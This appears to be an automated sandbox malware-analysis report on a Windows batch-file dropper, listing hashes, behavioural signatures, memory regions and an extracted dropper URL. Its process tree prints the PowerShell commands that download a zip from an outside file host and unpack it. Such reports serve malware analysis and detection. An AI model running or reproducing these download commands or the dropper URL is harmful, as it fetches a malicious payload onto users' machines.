1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1561s
max time network
1567s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (14).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2240	powershell.exe
6	2240	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2240	powershell.exe
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 2240	2576	cmd.exe	29
PID 2576 wrote to memory of 2240	2576	cmd.exe	29
PID 2576 wrote to memory of 2240	2576	cmd.exe	29
PID 2576 wrote to memory of 2520	2576	cmd.exe	32
PID 2576 wrote to memory of 2520	2576	cmd.exe	32
PID 2576 wrote to memory of 2520	2576	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2520

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7ee7ac740597ad3db4412050e87f8a87

SHA1
eb929d6f195cd59877915ade6c9dbfe17c60e1fb

SHA256
1e76b5df08e57ae285d875ce5a17194cfa1f5aa0313042c20b5f4ce0d5dc62eb

SHA512
eec3ef3307a9611327c86f2b758fce5230e62f9a12cc2e13cf3cf797b95e26f9ab69a81d2b794ccc24fc334e5f2599549dda11176748cc214cc0638d1779c04c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S93UFJC3KHFBN7YRJS9C.temp

Filesize
7KB

MD5
b78cb255570a994c07410eb80a7c0d91

SHA1
9e91a74f952272fe3af73323b83679c7cae9b0af

SHA256
e5cc744020deaecd7c17fc1a0ec2b0dc49fc20c12baa1b9a6804818677d9f69e

SHA512
e9e7296f1f167beaa97fe36d233c1c64077513db395542bcb7cd061cbb1ca9d08cf45736ab83dc60c8dac1e7116823e5ba6580b9f2c62424aaec06470ced60bf

Download Submit
memory/2240-17-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-6-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2240-8-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-9-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-10-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-11-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-12-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-13-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-14-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2240-5-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-7-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-4-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2240-15-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2520-23-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2520-25-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-26-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2520-24-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2520-27-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-28-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2520-29-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2520-30-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2520-31-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download